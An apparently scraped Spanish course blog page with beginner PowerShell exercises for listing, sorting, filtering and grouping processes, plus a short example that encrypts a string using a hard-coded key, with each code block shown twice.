ProcesosPrimeros 5

####################################################################################################################################
#Función para mostrar los X primeros procesos utilizando Mandatory
####################################################################################################################################
function ProcesosUltimosM
{
param
(
[Parameter(Mandatory=$true)]
$numero
)
Get-Process | Select-Object -Last $numero
}
ProcesosUltimosM 5

####################################################################################################################################
#Función para mostrar los X últimos procesos
####################################################################################################################################
function ProcesosUltimos($numero)
{
Get-Process | Select-Object -Last $numero
}
ProcesosUltimos 5

####################################################################################################################################
#Función para ordenar todos los procesos por CPU de forma descendente
####################################################################################################################################
function ProcesosCPU
{
Get-Process | Sort-Object CPU -Descending
}
ProcesosCPU

####################################################################################################################################
#Función para mostrar los X procesos cuyo consumo (el parámetro que quieras utilizar) sea mayor que el valor que quieras monitorizar
####################################################################################################################################
function ProcesosConsumo([String]$parametro,[Int]$valor,[Int]$numerovalores)
{
$parametro
$valor
$numerovalores
Get-Process | Select-Object -First $numerovalores | Where-Object $parametro -GT $valor
}
ProcesosConsumo CPU 30 5

####################################################################################################################################
#Función para agrupa los procesos y muestra los que sean XXXXX
####################################################################################################################################
function ProcesoConcreto($nombreproceso)
{
Get-Process -Name $nombreproceso | Group-Object
}
ProcesoConcreto svchost

####################################################################################################################################

#Mediante la utilización de funciones resolver las siguientes situaciones:

#Mostrar todos los procesos.

#Mostrar los X primeros procesos.

#Mostrar los X últimos procesos.

#Ordenar todos los procesos por CPU de forma descendente.

#Mostrar los X procesos cuyo consumo (el parámetro que quieras utilizar) sea mayor que el valor que quieras monitorizar.

#Agrupar los procesos y muestra los que sean XXXXX.

####################################################################################################################################

#Función para mostrar todos los procesos

####################################################################################################################################

function Procesos

{

Get-Process

}

Procesos

####################################################################################################################################

#Función para mostrar los X primeros procesos

####################################################################################################################################

function ProcesosPrimeros($numero)

{

Get-Process | Select-Object -First $numero

}

ProcesosPrimeros 5

####################################################################################################################################

#Función para mostrar los X primeros procesos utilizando Mandatory

####################################################################################################################################

function ProcesosUltimosM

{

param

(

[Parameter(Mandatory=$true)]

$numero

)

Get-Process | Select-Object -Last $numero

}

ProcesosUltimosM 5

####################################################################################################################################

#Función para mostrar los X últimos procesos

####################################################################################################################################

function ProcesosUltimos($numero)

{

Get-Process | Select-Object -Last $numero

}

ProcesosUltimos 5

####################################################################################################################################

#Función para ordenar todos los procesos por CPU de forma descendente

####################################################################################################################################

function ProcesosCPU

{

Get-Process | Sort-Object CPU -Descending

}

ProcesosCPU

####################################################################################################################################

#Función para mostrar los X procesos cuyo consumo (el parámetro que quieras utilizar) sea mayor que el valor que quieras monitorizar

####################################################################################################################################

function ProcesosConsumo([String]$parametro,[Int]$valor,[Int]$numerovalores)

{

$parametro

$valor

$numerovalores

Get-Process | Select-Object -First $numerovalores | Where-Object $parametro -GT $valor

}

ProcesosConsumo CPU 30 5

####################################################################################################################################

#Función para agrupa los procesos y muestra los que sean XXXXX

####################################################################################################################################

function ProcesoConcreto($nombreproceso)

{

Get-Process -Name $nombreproceso | Group-Object

}

ProcesoConcreto svchost

Cifrar utilizando una clave secreta

(No Ratings Yet)

$cadena='abcdefghijk'
$clave='clavesecreta123'

#La clave para cifrar tiene que ser correcta en tipo System.Byte
#ConvertFrom-SecureString : No se puede enlazar el parámetro 'Key'. No se puede convertir el valor "Some secret key" al tipo "System.Byte". Error: "La cadena de entrada no tiene el formato correcto."

$clavebyte=[Byte[]]($clave.PadRight(24).Substring(0,24).ToCharArray())

$cadenacifrada=$cadena | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString -Key $clavebyte
$cadenacifrada

$cadena='abcdefghijk'

$clave='clavesecreta123'

#La clave para cifrar tiene que ser correcta en tipo System.Byte

#ConvertFrom-SecureString : No se puede enlazar el parámetro 'Key'. No se puede convertir el valor "Some secret key" al tipo "System.Byte". Error: "La cadena de entrada no tiene el formato correcto."

$clavebyte=[Byte[]]($clave.PadRight(24).Substring(0,24).ToCharArray())

$cadenacifrada=$cadena | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString -Key $clavebyte

$cadenacifrada

Tareas de administración III (Sistemas operativos monopuesto)

(No Ratings Yet)

Índice Gestión del almacenamiento Introducción Modo texto Modo gráfico Gestión de la red Introducción Modo texto Modo gráfico Copias de […]

Sistemas operativos monopuesto

(3 votes, average: 3.67 out of 5)

Índice Introducción a los sistemas informáticos Introducción a los sistemas operativos Instalación de sistemas operativos Configuración de máquinas virtuales Virtualización […]